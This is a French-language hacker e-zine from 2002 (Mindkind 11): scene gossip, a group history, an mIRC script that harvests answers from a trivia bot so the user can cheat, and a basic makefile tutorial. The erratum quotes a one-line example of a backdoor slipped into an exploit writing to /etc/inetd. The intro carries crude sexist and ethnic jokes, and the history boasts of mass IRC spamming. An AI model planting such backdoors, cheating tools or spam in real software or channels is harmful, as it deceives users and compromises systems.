 
 __ _ ____                         __ _ ____          
|         \_________________ _ ___/         |     .---- --- --- ---------. .---- --- --- ---- -----.
;                                           |    /                       |/                        | 
|                                           |   /                        /                         |
|                                           |  /                        /                          |
|       ____________                        |_/_                       /                           | 
|      |_ _ ________|                       |   |                     /                            | 
|       _ __ _ _____   __ _________   __ ___|   |____                /_________                    |
|      |            | |            | |          |    |                   |     |   \          /    | 
|      |            | |            | |  _       |    |                   |     |  (o)        (o)   |  
|      |            | |     |      | | |_|      |    :_                  |     |                   | 
.      |___ ___ ____| |___ _|_ ____| |____ _____|    |_)                 |_____:        ||         |
|                                           |        |__)                :_____        o  o         \ 
|                                           |        :_)                 .     ;                     \
|                                           :        |_)                       | _   _   _   _   _ |\ \
.                                           !        |                   |     |/ \_/ \_/ \_/ \_/ \| \ \    
|                                           |                            |              qha      ,--./ /   
:              |             |              !        ;                              rectum crew |_    /                
;              |             :              |                            |           pyrofreak  |_   /              
|______________|_____________|______________|        !                   ;           mad quebec |___/                    
                                                                         |          immortal hack                
                                                     ;                   |        _   _   _   _   _    
 ______ _____ _ ___ ____    __ _______ __ __         |                   |       / \_/ \_/ \_/ \_/ | 
|                       |  /                |        |                   |      |                  |
;                       | /                 |        |                     __ __|                  |__ __
:                       |/                  '        |                    |                              | 
|                                          /         |                   :|                              |
.                                         /          |                   ||                              | 
|                                        /                               |'-- ----- -- -- - -------  ----'
|       _ ______ ___                    /   ____     |                   |             
|      |_ __________|                  /   |    |    ;                               
'       _ __ _ _____   _____ ___ __   /____|    |    |                        Qubec Underground E-zine 
|      |            | |            | |          |                        |           issue 11       
|      |            : |            | |  _       |    .                   '             aka
|      |            | |            | | |_|      |    |                   |          Mindkind11      
.      |_ _ ________| |___ _|_ ____| |____ _____|    :                   |         
|                                       \            '                   :
|                                        \      __ __|                   |__ _
|                       /\                \    |                              |
;                      :  \                \   |                              |
|                      |   \               '   |                              |
|_ __ ____________ ____|    \____ _______ _|   '------------ - ---------------'
"Mindkind11: Plus grand que jamais. || Le pre nowel existe pas, Mindkind si. "



Aprs l'augmentation des  ventes faramineuses de  Mindkind 10, il n'a  pas  t
compliqu de convaincre le prsident de la caisse de dpt de nous  faire  prt
des quelques 320  millions qu'ont cot  le budget d'effet  spciaux du  ezine.
Sans compter la paie  de tous les employs  de soutien  et  sous-traitants  tel
que le coursier qui porte les  post-its jaunes entre  les employs  de  soutien
et la prsidence et bien sur  entre la prsidence et les sous-traitants.   Sans
oublier la secrtaire blonde aux seins refaits, prte  servir  (la  secrtaire
ou les.. au  besoin) et pour  l'ambiance, les 3  mexicains qui  soutiennent  le
mur. Il va sans  dire que le budget  a t des mieux  manag. Et si  vous  vous
attendiez  quelque chose, eh bien vous tes dans le champ, c bien mieux,  mme
si vous trouvez le contraire, c'est quand mme mieux. Et si a fait pas   votre
affaire on a  aussi pay des  nano-pygms, pour suivre  vos moindres faits   et
gestes, qui appellent les nano-policiers  au moindre signe de dgot  de  votre
part pour  vous matriser  par la  force, ainsi  que des  nano-contrleurs   de
nano-policiers qui ont pour fonction de  s'assurer que le tout se droule  dans
la plus grande  douleur possible. Il  ne vous reste  plus maintenant qu'a  vous
asssir confortablement et a savourer le produit.

Celui qui trouve le message encod dans ce disclaim gagne 2 billets qui donnent
accs  des warp-gates nolises pour les les Fidji.



Erratum :
   Ceux qui sont moins habitus avec la langue franaise se demandent
   certainement ce que c'est qu'un erratum.  Et bien, c'est un retour
   sur les erreures qu'on fait dans un priodique.

   Dans un soucis d'offrir le meilleur produit possible,  nous  avons
   dcid de revenir sur les erreurs commises  dans Mindkind, car oui
   Mindkind fait des erreurs, et on est loin d'tre les  seuls,  mais
   on est peut-tre les seuls qui l'avoue.   C'est  donc  pour  cette
   raison (et aussi  cause de notre arrogance lgendaire)  que  nous
   allons aussi corriger les autres.


Source : Mindkind 10 - Relatations sur le rectum crw
Erreur de type : tromp de personne
On a rapidement su qu'on a inclu une personne dans le tas, sans que a soit  un
vrai membre du rectum shit. Il s'agit de UnixGods (lire UnixGoods). Au dbut on
pensait que  c'tait un  prtentieux, on  avait raison.  Par contre,  lui aussi
avait raison de l'tre : c pas un membre du rectum chose, et il est comptant.
C'est pour  cette raison  d'ailleurs qu'il  s'est join   Mindkind, devenant un
allier plus qu'utile. M'enfin, on c'tait tromp car il se tenait  sur  le chan
des rectums pour les mmes raisons que nous.. les observer.
M'enfin, nos excuses.


Source : Mindkind 10 - Team teso Exploit
Erreur de type : peut-tre une erreur de jugement
Et oui, encore une erreur sur  la personne. Cette fois ci, l'article  mentionne
que c'est le team TESO qui a backdoorer l'exploit... est-ce vrai? Si on regarde
dans le  pass il  y a  plusieurs sploits  de TESO  qui ont t backdoors.. et
comme de faite TESO la dit sur le site.. comme nous faisait remarquer g463  "tu
penses que c gars la on du temps   perdre  faire des doors?". Par contre,  on
peut se demander  quel point on peut trouver crdible un groupe de hack qui se
dfend de mettre des backdoors dans leurs exploits. S'ils le feraient vraiment,
probablement qu'ils diraient aussi que ce n'est pas eux, et le  fait  d'ajouter
    execl("/bin/echo", "backdoors", "backdoors > /etc/inetd", NOLL);
n'est pas tres long, vous en conviendrez. Finalement on place plus cette erreur
comme une grande incertitude sur le coupable.. paranoa oblige.


Source : www.madquebec.org
Erreur de type : ramassis de fausse affaire
sur le site de madquebec (un groupe minable de la scene local), on peu lire
ceci :
"
  13/11/2002 - Le hackfest s'est bien deroule en fin de semaine.
  Effectivement le HackFest etait pas mal cool. Les anciens de l'underground 
  etait la au grand complet.. Total Control ( un peu vieux mais tres bon ), 
  MindKind ( ca pas marcher fort fort leur affaires.. c'est dommage car il ont 
  du potenciel ), Northern Phun Co ( NPC... on oubli jamais ces classiques =P )
  IGA ( un autre classique ), et moi.. ( bon je faisait pitier mais bon ! ). Il
  n'y a pas eu vraiment de competition mais on peut dire que c'est une 
  reussite... attendons nous  plus gros l'annee prochaine !
"
Les vrits  dans cette  nouvelle la,  s'arrttent   la premire ligne. Err418
n'tait pas prsent (Total Control), Mindkind n'a pas particip, NPC tait  pas
vraiment la  non plus, et lui  on l'ignore, tellement  il est inconnu.  Si vous
voulez  vraiment savoir  ce qu'a t  le Hackfest, allez  lire l'article de  ce
ezine qui se rapporte directement  l'vnement.


Source : Mindkind 11
Erreur de type : ne vous en faites pas les enfants.
Il est mentionn dans le titre sous le logo du prsent ezine que
"le pre nowel existe pas".   C'est faux, le voici :

                      _____________    
                     /         \   \          __ _ __________ _ _____  
                    /           \   \        |                       |
                   / _________   \   |       |                       | 
                   \/         \  /   |       |  will  hack  to  get  | 
                   /   _   _   \/_   |       |  my fuckin raindeers  | 
                   |   O _ o   |  \_  \      |         BACK !        |
                   |  __(_)__  |    \ /      |                       |
                  /\_/       \_/\~~ / \      |_____ ___    _____ ____|
                 /     _____     \ ~\_/                |  |
               __|    /___ _\  ~~ |____ _ ______ _ _ __| _|
              /  |        \\ ~    |               | |   _)|
             /   \         \\ ~~  /               | |  |(_|
            /     \         ''~~ /    _ _ _____ _ |_|__|( |
           /       \__ _ __ ____/ .   /'               |  |
          /                      '     \               |  |
         /      /                      /               |__|
        /\____ /      .                |     
        \_____/                        |
       /     \                         '
      /   /\_/._ __ _ ________ ________/
      \_\_|   |                        | 
              |_ _ ____________ _____ _|       
               \                      /
                \                    /      
                 |                  |       
                 |        '         |
                 |_ _ ____|_ _ _____|       
                 |____ ___|___ _ ___|      
              ___|        |         |___       
             |            |             |      
              \_ ____ ___/ \__ ____ ___/          
                 




Nous rejoindre ? Quelle ide farfelue, si vous croyez toutefois que vous
avez une raison lgitime de le faire,  vous pouvez communiquer avec nous
via email  mindkind@mindkind.org ou par irc :
   Undernet     : #mindkind.org
   Dalnet       : #mindkind
   Efnet        : #mindkind
   OpenProjects : #mindkind

Si vous avez rien d'intressant  dire, on apprcierait que vous le
gardiez pour vous. Merci.



						          Wyzeman  &  LastCall_





                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  -----. 
     :    \ \ \__/ / /                    |_|\_\           \        \       : 
     ,     \/      \/ Table des anti-matires               \   11   \      |
     :                                                       \________|     .
     ;                                                                      !
     : 11.01  Le Patrimoine lmurien                          LastCall_     .
     ; 11.02  You Make me File like an ASCII queen             acidmen      .
     : 11.03  40 PKP en show dans un trou de terre            init_null     :
     , 11.04  Googleownized                                      __2        :
     : 11.05  Review du Hackfest 2002                          Wyzeman      |
     : 11.06  Avez-vous dj touch un (Cisco) CLI?           LastCall_     .
     . 11.07  Le mirroir de l'volution                       nothing94     !
     . 11.08  Un trio fmt svp                                   g463        .
     , 11.09  One day we should be root                        Wyzeman      |
     ; 11.10  C'est rare un raw socket sous Win                 Alice^      :
     : 11.11  Un hack XSS en pain d'pice                     MindFlayR     !
     : 11.12  You're younger now that in the end                c4ndu       |
     , 11.13  The Perl Anthology Tome 3                       LastCall_     .
     : 11.14  T'en veux-tu du code en vla!                      val0rz      !
     : 11.15  Le secret de la pierre philosophale             LastCall_     |
     ; 11.16  Run Micro$oft run                                 BoiSS       :
     . 11.17  "I'm in love with my sadness" **                  c4ndu       :
     ; 11.18  .hack_history                                    Mindkind     |
     :                                                        ________      .
     .                                                       \        \     !
     .                                                        \        \    .
     ;  ** Zero(smashing pumpkins)                             \        \   :
     :                                                          \        \  :
     '-- -----  - -------- --- --------- - --  ------------ --- -\        \-'
                                                                  \____ _ _\






      Dans la version "full" du ezine, vous retrouverez :
           - Mister T vs. Lamers, Part 1 : Au hackfest (histoire fictive)
           - Radio31337 - Les conseils pour hax0r.mp3  (conseils fictifs)
           - Mindkind en rubic snake



                                                        __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.01 Le patrimoine lmurien vous prsente :           \        \     !
     .             Histoire de Mindkind;                       \        \    .
     ;              industrialisation with attitude             \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     

Septembre 2002 : Lancement de Mindkind 10
  C'est dans un bing bang que le ezine ft lanc. Faut dire qu'on avait fait du
  MASS SPAM, alors a la  bien march. De mmoire comme a, on a eu dans le 150
  hits sur le  web si on compte  pas les dupes faits pour  faire hot. Bien  que
  compltement dgueulasse (spammer on join  sur #montreal genre haha) le  mass
  spam  nous  a permit  de  nous faire  connatre...  Pendant que  le  ezine se
  rpandait, le fameux rectum crew continuait de se faire fesser dessus car  la
  notorit lame du rectum crew tait maintenant ancre dans la tte  de  tous.
  Il est  not qu'aprs la parution du ezine,  UnixGods (maintenant __syscall)
  c'est  joint   nous, car  lui aussi  tait contre  le RC  (voir mon  article
  Erratum). C'est grce  lui d'ailleurs que le rectum crew nous a propos  une
  "trve", du genre "on touche pu   vos channels, faites-nous une  liste". heh
  Pendant ce temps notre reste  de publique cible d'insulte (pyrofake),  disait
  que notre ezine tait  chier, srement   cause qu'il avait du texte   lire
  entre les ASCIIs. Une fois content d'avoir vu que toute la plante (heh) a lu
  notre ezine, tout le  monde  voulait  faire  un  deuxime  ezine...  jusqu'au
  lendemain ou on oublia tout et on prit des petites vacances.
  
Octobre 2002 : un ti break qui dure pas trop longtemps..
  Bon ok, c'est clair  qu'on n'tait pas pour  sortir un deuxime ezine  drette
  l,  mais l'ambiance  tait   son meilleur.  Tigerbalm fut  diagnostiqu  du
  syndrome  du  je-fais-des-bots-oui-des-bots.  LastCall_  tellement  en manque
  commena a coder un bot qui cruise  sa place.  g463 changea d'ide au  sujet
  du ezine (gee tait trs rbarbatif au sujet de faire un ezine), ce qui tait
  une preuve que finalement on suckait pas tant que a... bien que productif et
  aise, l'ambiance resta calme sur le channel, le ezine nous avait puis.

Mi-Octobre 2002 : LastCall_ ya une grande yeule
  Constatant  que son  bot lui  avait pas  encore pogn  de chix,  Last  dcida
  d'crire  quelque  chose  d'actuel  :  il  dbuta  la  fameuse  NewsLetter de
  Mindkind. Une fois par semaine, il s'enferma dans son appart en relisant  les
  logs de la semaine, et en  sortant des histoires ajoutes, le tout  en visant
  directement  les  personnes  sur #Mindkind  Undernet.  La  NewsLetter fut  un
  succs, et  le groupe  devint sur  le mme  beat. Ceux  qui n'avaient  pas la
  chance d'avoir le temps de suivre tout ce  qui  se  passait  sur  le  channel
  pouvait avoir les meilleurs moments,  et ceux qui avaient  du temps   perdre
  pouvait lire sur  les diffrents sujets traits  par  Last  qui  avaient  pas
  ncessairement rapport avec Mindkind, mais qui taient quand mme pertinents.
  La NewsLetter grossissait de semaine en  semaine,  signe  que  le  groupe  se
  ractivait, on a mme vu une de 37ko (crissement long  lire heh).

Novembre 2002 : a roule ma poule
  Last et init ont fait une autre radio (pisode 3) en direct de chicoutimi, ce
  fut un fun incroyable, avec ~15 users tout le long. Un best-of a t fait, et
  un  paquet  de personnes  (~100  sans jokes)  l'ont  download. De  plus  les
  Mindkindiens  taient rendus  totalement accros  au bot  faite par  Last  (le
  suppos  bot  qui  cruisait  sur  rseau-contact  pour  Last  tait  en  fait
  contrlable via IRC..  hee hee). Le  monde failli vir  barge  regarder  des
  pics de chix  longueur de journe, mais le hackfest approchait. C'est  alors
  qu'un mga-trip de moi-jcode-des-sploits  commena, Wyzeman tait de  la fte
  avec __2 (pour  le hackfest justement)  et g463 pitonnais  sur #mindkind avec
  init_null, Wyze, [Funky] pis srement d'autre monde que j'oublie. C'tait  la
  folie furieuse.. Last tait en rush d'universit pis de dpression, donc Wyze
  prit la relve une fois pour la NewsLetter. Le chan allait de bon train, mais
  le hosting de  mindkind.org tait slow   cause de  la connexion de  Last qui
  tait rendu  5mpbs en upload, pour 300 users :-/. C'est alors que WiL  sorti
  de l'ombre avec une proposition de  webhosting.   Wyzeman  avait  donc  lanc
  l'ide via la mailing list du ezine #11.

Fin Novembre 2002 : prliminaires
  Tout le monde tait excit de partout, __2 commena un peu  suivre Mindkind,
  car  depuis le  pr-hackfest lui  pis Wyze  avaient beaucoup  fait  de  stock
  ensemble.. Last fit d'ailleurs un montage des pics disponible sur un site  de
  secours : http://www.geocities.com/agecal2/mr_t/.  Plutt marrant, les autres
  continuaient leurs projets, qui  d'ailleurs sont tellement nombreux  que j'en
  ai de la misre  m'en souvenir... heureusement on tait pas pour tout perdre
  dans la brume.. car le ezine se faisait sentir...

Dcembre 2002 : start of the ezine mania
  Tout  commenait   grouiller  en  fonction  de  sortir  un ezine,  plusieurs
  articles furent crits,  plein de prdiction  d'articles, des codes  sources,
  etc. __2 a dcid  que Mindkind c'tait bien,  qu'il ne voulait pas  en faire
  parti, mais  qu'il ne  voulait pas  gaspiller ses  articles sans les publier.
  C'est alors qu'on ouvrit la  porte du ezine aux "collaborateurs  extrieurs",
  mais le chan tait solidement fond, et les personnes prsentes (si on compte
  les bots on  a un peak  de 27, une  moyenne de 16-20)  taient rticentes aux
  nouveaux venus, cependant  acidmen sorti de  That 70s show  et est venu  nous
  pater avec de la jonglerie virtuelle. h3 eu une ide de BD et Last (avec son
  imagination de mongole) alla lui donner un petit coup de main et en un  autre
  coup de main (a s'en vient violent la)  de la part de BoiSS, et un bot  XDCC
  pour spreader  notre stock  (dcidment le  new host  pour le  site web tait
  attendu) rapidement fut cr. Quand mme bien, on verra sa puissance de feu 
  la sortie  du prochain  ezine.. Cette  prochaine sortie  stressa le monde (en
  plus  de la  fin de session Univ/Cgep)  et l'atmosphre  devint violente  par
  moment. Cependant Last avait fini de pter sa dpression, et  Mindkind  tait
  trop solidement plac pour tre dsancr.

Nowel 2002 : un ezine comme cado dnowel stu pas cuuute
  C'est donc aprs  une phase d'assurance  qualit (clin d'oeil GL ici) que  le
  ezine fut emballer spcialement pour  vous (tar cvf et gzip).  Contenant plus
  de cadeaux que le bas de nowel d'un thiopien de classe pauvre, voici donc le
  ezine Mindkind 11  imprimer et  lire pendant les partys des ftes poches.



                                                      - La mmoire de LastCall_

            ___                                                           ___
     .----/   /----------- ---------- --------- - -- - - --- -----------/   /
     |   /   /                                                         /   /|
     :  /   /                                                         /   / :
     | /   /               lastcall@mindkind.org                     /   /  |
     |/   /                                                         /   /   | 
     /___/-- ---------- -----  ----------------- - ------- -- --- -/___/----'



      Voici un petit script mIRC qui vous permettra d'avoir l'air uber  lite
      sur #triviafr (trivia, vous savez ces jeux ou un bot pose une  question
      et dont le premier a la rponse fait x pts. Un jeux ou les BS excellent
      gnralement puisque les pts sont compils par  semaine,  et  qu'un  BS
      dans une semaine a 168(7*24) heures de temps  perdre dans  un  trivia.
      Pas besoin de dormir quand on est BS. Enfin, voici  un  code  qui  vous
      permettra de leur faire rendre compte que vous tes plus bright qu'eux.
      Crdit : rtfm` (via BoiSS)

------------------------------- 8< cut here 8< -------------------------------

on 1:text:*:#triviafr: {
  if Trivia isin $nick {
    if (Question isin $1- && ? isin $1-) { 
      set %triviafr.questions $1-    
      $read(questions.txt,s,$1-)
      if ($readn == 0)  { 
        set %triviafr.addquestion 1 
        set %triviafr.theanswer 
      } 
      else { 
        ;timer 1 $rand(1,4) msg $chan $read(reponses.txt,$readn) 
        set %triviafr.theanswer $read(reponses.txt,$readn)
        echo #triviafr JE CONNAIS LA RPONSE F9 POUR RPONDRE | echo #triviafr La reponse est %triviafr.theanswer
        set %triviafr.addquestion 0 
      }
    }
    if (=> isin $1- && => isin $1- && A Gagn !isin $1- && pour la dernire question !isin $1-) {
      set %triviafr.theanswer
      set %triviafr.temp $remove($1-,$left($1-,$pos($1-,>,4) +1))
      set %triviafr.temp2 $strip($remove($left(%triviafr.temp,$pos(%triviafr.temp,<,1) +2),<)) $+ 
      echo %triviafr.temp2
      if %triviafr.addquestion = 1  { write questions.txt %triviafr.questions | write reponses.txt %triviafr.temp2 }
    }
  }
}

menu channel {
  &TriviaFR
  .&Lines Number:/echo -a Questions lines : $lines(questions.txt) | echo -a Answers Lines : $lines(reponses.txt)
  .-
  .&TOP10:/msg #triviafr !top10
}

alias F9 { /msg #triviafr %triviafr.theanswer | set %triviafr.theanswer $chr(32) }
alias F8 { /msg #triviafr !!hint }
alias F7 { /msg #triviafr hehe.. google }

------------------------------- >8 cut here >8 -------------------------------




                                                       __ ______
            __    __  __  _ ___   __       _  _   _   _\_ _  _   \
           /  \  /  \ \ \ \  _ \ \ .\     | |/ / / / / _  / /.\   \
     .- - / /\ \/ /\ \-\_\ \_\\_\-\_/ ----|   < /_/-/_//_/\/__/    \-  ------. 
     :    \ \ \__/ / /                    |_|\_\           \        \        : 
     ,     \/      \/                                       \        \       |
     :                                                       \        \      .
     . 11.02  Prsentation des makefiles                      \        \     !
     .             aka                                         \        \    .
     ;        You Make me File like an ASCII queen              \        \   :
     :                                                           \        \  :
     '-- -----  - -------- --- --------- - --  ------------- --- -\        \-'
                                                                   \____ _ _\
                                                     
                     
                   ^^^^^^^
                    ] []
                     ~~~~
                ____ | | _____  
                    ______  
                ||  |    |  ||
                ||  | A  |  ||          J`aimerais remercier tout spcialement 
               =====| Z  |=====         Micheline SansZavnir qui m'a endur
                    | T  |              pendant mes longs cours de ... 
                  | | E  | |            ascii par correspondance.
                  | | K  | |
                    |_  _| 
                 /  ( || )  \
                / /(  ||)  \ \                
                /    (||  )  \
         \    / /     ||       \     /
         \ \ / /      || )    \ \  / / 
           \  / [01010101010]  \ / /   
                            En passant pour ceux qui ne savent pas encore
                            qu'est-ce que j'ai voulu dessiner c'est sans
                            importance... dites vous juste que je suis 31337 ;P




Prsentation des makefiles.


Vous aurez srement remarqu le  makefile livr avec un programme  lorsque vous
l'avez compil. tant donn le niveau de complexit pouvant tre atteint par un
fichier make,  vous pouvez   juste  raison vous  demander : "pourquoi utiliser
make?"

Si vous imaginez un instant un projet compos de dizaine, voir de centaines  de
modules,  vous n'tes  sans doute  pas trs  impatient de  recompiler tous  ces
modules chaque  fois que  vous modifiez  une ligne  de code.  Imaginez que vous
devriez  recompiler  entirement  votre  noyau    la  main  aprs  une  petite
modification du code source. Il serait extrmement difficile de dterminer  les
compilations    omettre,  et   l'omission  de  la  compilation   indispensable
entranerait des  problmes. C'est  pourquoi la  commande make  est prcisment
destine  ce genre de travail.

La  commande make  est capable  de tirer  des conclusions  sur les  dpendances
existantes entre divers fichiers. Elle possde d'autres fonctionnalits qui  la
rendent  trs  puissante:   elle  sait  dfinir   des  macros  et   des  cibles
supplmentaires qui vous permettront d'tre plus efficace.

Autre  avantage  des processus  make  : les  instructions  de compilation  sont
enregistres dans  le fichier  make. Par  exemple, il  n'est pas  ncessaire de
mmoriser tous  les paramtres  de ligne  de commande  utiliss pour un projet.
Mieux encore, il n'est pas  ncessaire de documenter  l'intention  d'autrui ce
qui vous a servi  construire ce projet.


 >> Le Makefile

Lorsque vous  lancez la  commande make  sans dsigner  explicitement un fichier
make sur la ligne  de commande ( avec  le paramtre -f), l'utilitaire  GNU make
recherche trois noms de fichiers par  dfaut dans le rpertoire en cours,  dans
l'ordre suivant :

 1. GNUmakefile
 2. makefile
 3. Makefile


 >> Nommer le Makefile

Makefile
	Le nom Makefile avec la premire lettre en majuscule convient le mieux,
	car lorsque vous listez vos fichiers, il figure en dbut de  la  liste.

GNUmakefile
        La documentation de  GNU make conseille  d'viter d'employer le  nom de
        fichier GNUmakefile. Vous ne devez  l'utiliser que si vous vous  servez
        des foncionnalits  gres par  la commande  GNU make.  Si le groupe de
        fonctionnalits  employes  est  celui  make  UNIX  standard,  prfrez
        Makefile ou makefile.

makefile
        Lorsque le nom Makefile normal( avec un "M" majuscule) est utilis,  il
        vous reste une possibilit pralable. Si vous tlchargez un  paquetage
        de  sources  de l'Internet,  mais  dcouvrez que  vous  avez besoin  de
        modifier le Makefile fourni, vous pouvez tester vos modifications  sans
        toucher  ce Makefile:
	  1. Recopiez Makefile en makefile.
	  2. Editez makefile selon vos besoins.
	  3. Lancez la commande make. C'est makefile qui est utilis  la
	     place de Makefile, car il est choisi en premier lorsqu'il existe.

 >> Les cibles des Makefile

La commande make commence par la notion de cible.
Lorsqu'elle possde un fichier make, la commande make doit traiter au moins une
cible de  ce fichier,  sinon rien  ne se  passe ;  et si le fichier ne contient
aucune cible, la commande make se plaint de la situation :

|#| bash$ make
|#| make: *** No targets. Stop.
|#| bash$

 >> Dfinir les cibles
Le listing 1.0 suivant prsente un Makefile trs simple pourvu de trois cibles,
one, two, three, aux ligne 4, 7 et 10. Un nom de cible commence toujours au
dbut d'une ligne et est suivi du caractre deux-points.
 
	_= Listing (1.0) Makefile simple comportant trois cibles =_

|#| 1:   # Source: /home/acidmen/make/RCS/Makefile,v $
|#| 2:   
|#| 3:   
|#| 4:   one:
|#| 5:       @echo One
|#| 6:
|#| 7:   two:
|#| 8:       @echo two
|#| 9:   
|#| 10:  three:
|#| 11:       @echo three
|#| 12:
|#| 13:   # End Makefile

 

 >> Invoquer les cibles de Makefile

Pour invoquer une cible, il suffit d'indiquer son nom sur la ligne de commande.
Par exemple, la commande suivante invoque la cible two:

|#| bash$ make two
|#| Two
|#| bash$

Dans cette exemple, make ignore totalement les cibles one et three.


 >> Invoquer plusieurs cibles

Vous pouvez galement invoquer plusieurs cibles sur une mme ligne
de commande:

|#| bash$ make three one two
|#| Three
|#| One
|#| Two
|#| bash$

Remarquez que les cibles sont traites dans l'ordre des arguments de la
ligne de commande.

 >> Les cibles par dfaut
La commande make suppose que la toute premire cible rencontre dans le
fichier make est la cible par dfault. Considrez l'exemple suivant :

|#| bash$ make
|#| One
|#| bash$

make invoque la premire cible rencontre, one,  la ligne 4 du listing  (1.0).
Les noms de cible two et three sont considres comme cibles de remplacement et
ne sont pas invoques.


  >> Les noms de cible standards
Bien  qu'aucun  standard  formel  n'existe  pour  les  noms  de  cibles,   vous
rencontrerez quelques  conventions trs  rpandues lorsque  vous examinerez les
fichiers make de sources publiquement tlchargeables.

[*] _all_ est souvent utilis comme  la premire cible et par consquent  celui
par dfaut.  Il sert  habituellement   nommer les  vrais noms  de cibles,  qui
peuvent tre une ou plusieurs autre  cibles, qui peuvent tre une ou  plusieurs
autres cibles. En utilisant cette cible, vous construisez le projet entier.

[*] _install_ est normalement employ pour installer un projet construit,  dans
ses rpertoires  dus systme  Linux, avec  les autorisations  correctes et  les
rgles de proprit, en crant les sous-rpertoires si ncessaire.

[*]  _clean_ est  souvent utilis  pour vous  permettre de  supprimer tous  les
fichiers objet (*.o), les fichiers core, et les autres fichiers provisoires qui
ont pu tre crs lors de  la construction. Cette cible laisse les  excutables
et les bibliothques construits en place.

[*] _clobber_  est  souvent  utilis pour   supprimer les  cibles  construitent
du projet (en gnral, les  excutables  et les bibliothques). Vous  supprimez
ces cibles pour reconstruire les fichiers de configuration du projet, etc.

[*] _distclean_  est souvent  utilis par  les dveloppeurs  Linux et  GNU pour
nettoyer  compltement  le fichier  du  projet, sauf  en  ce qui  concerne  les
fichiers d'origine  distribus sur  l'Internet. Dpassant  clobber, cette cible
supprime les fichiers de configuration du projet, etc.


 >> Les dpendances
On accepte couramment des dpendances entre certains noms de cibles.
En tant que programmeur( ou progGameur? peut importe;), vous devez savoir que :

[*] La cible install dpend habituellement de all.
[*] La cible clobber dpend habituellement de clean.
[*] La cible distclean dpend habituellement de clobber.

Si  install  dpend  de la  cible  all,  le projet  est  d'abord  construit, si
ncessaire,  puis  l'installation tente.  Sinon,  il n'existe  aucun  projet 
installer. Cependant, les logiciels sont souvent installs avec les  privilges
de root,  il n'est  par consquent  pas souhaitable  de construire votre projet
lorsque vous  oprez sous  root. Si  vous vous  en sentez  capable, vous pouvez
omettre cette dpendance dans votre projet.

La cible clobber  dpend de clean,  gnralement par commodit.  La cible clean
s'occupe d'une partie  du travail et  il vous suffit  de dfinir le  reste pour
clobber. La cible distclean fonctionne sur le mme principe.


 >> Dfinir les dpendances
Le listing (2.0) prsente un nouveau  fichier make auquel ont t ajoutes  des
dpendances. La cible three dpend de la cible two (ligne 10), et la cible  two
dpend  prsent de la cible one (ligne 7). Remarquez que les dpendances  sont
simplement indiques aprs le nom de  la cible et le caratre deux-points.  Les
dpendances supplmentaires sont spares par un ou plusieurs espaces. Au moins
un espace doit sparer le caractre deux points de la prmire dpendances.

	_= Listing (2.0) Makefile avec dpendances=_

|#| 1:   #Source: /home/acidmen/make/RCS/Makefile,v $
|#| 2:
|#| 3:
|#| 4:   one:
|#| 5:      @echo One
|#| 6:
|#| 7:   two:	one
|#| 8:      @echo Two
|#| 9:   
|#| 10:  three: two
|#| 11:     @echo Three
|#| 12:
|#| 13:   # End Makefile

  
  >> Tester les dpendances des cibles
A prsent, lorsque vous invoquez le  fichier make du Listing (2.0) avec  le nom
de cible three, vous constatez que la commande make traite en ralit les trois
cibles:

|#| bash$ make three
|#| One
|#| Two
|#| Three
|#| bash$

Cet ordre vous surprend-t-il? La cible  est excute la premire, car la  cible
two dpend d'elle, et  la cible three dpend  de two. Par consquent,  avant de
pouvoir faire quoi  que ce soit  pour la cible  three, ses dpendances  doivent
tre  satisfaites.  Bien  que  la cible  invoque  soit  three,  la chane  des
dpendance est tell que make doit  invoquer one en premier pour satisfaire  les
deux autres cibles.

 >> Dfinir les macros de make
La puissance des scripts shell tient en partie  leur capacit d'utiliser et de
manipuler des  variables shell  et des  variables d'environnement.  La commande
make  possde  ce  genre  de  fonctionnalit  et  sait  galement  utiliser les
variables d'environnement.

Une macro make peut  contenir une valeur de  chane comme un nom  de fichier ou
une valeur de paramtre. Une macro  permet de ne dfinir qu'une seule  fois une
certaine  valeur  dans  le  Makefile, tout  en  permettant  de  l'utiliser dans
plusieurs  endroits.  Lorsqu'une  modification  est  ncessaire,  il  suffit de
modifier l'affectation de la macro,  et elle apparat immdiatement partout  o
la macro est utilise.

Le listing (3.0) prsente une nouvelle dition du Makefile de dmonstration. La
ligne 5 montre  comment dclarer une  macro OBJECT et  initialiser sa valeur  
"Pear". Vous  supprimez galement  les dpendances  pralablement utilises  et
ajoutez un  nom de  cible par  dfaut plus  conventionnel, all,   la  ligne 7.
Remarquez que cette  cible dpend de  trois cibles, on,  two, three. Un  projet
important est souvent structur de cette faon dans un fichier make.

	_= Listing (3.0) Makefile avec une dfinition de macro=_

|#| 1:   # Source: /home/acidmen/make/RCS/Makefile,v $
|#| 2:   # Revision: 1.3 $
|#| 3:
|#| 4:
|#| 5:   OBJECT= Pear
|#| 6:
|#| 7:   All: one two three
|#| 8:
|#| 9:   one:
|#| 10:     @echo one $(OBJECT)
|#| 11:
|#| 12:  two:
|#| 13:     @echo Two $(OBJECT)s
|#| 14:
|#| 15:  three:
|#| 16:     @echo Three $(OBJECT)s
|#| 17:
|#| 18:  # End Makefile

Les lignes 10, 13  et 16 montrent un  exemple d'utilisation de la  valeur de la
macro. Elle est  substitue au signe  $ et au  nom de la  macro qui suit  entre
parenthses. Les parenthses ne sont pas ncessaires lorsque le nom de la macro
ne  comporte  qu'une  lettre,  par  exemple  $x.  Il  est  cependant  conseill
d'utiliser des noms de macro significatifs. A prsent, invoquez ce fichier make
et observez son rsultat.

|#| bash$ make
|#| One Pear
|#| Two Pears
|#| Three Pears
|#| bash$

Remarquez la substitution par la valeur. Notez aussi que la cible de la ligne 7
ne comporte aucune instruction. Cette ligne  ne sert qu' relier une cible  aux
autres dpendances.

  >> Supplanter les valeurs d'une macro
La commande make permet galement de passer outre la valeur d'une macro.
Avec le fichier make du listing (2.0), vous excuter :

|#| bash$ make OBJECT=apple
|#| One apple
|#| Two apples
|#| Three apples
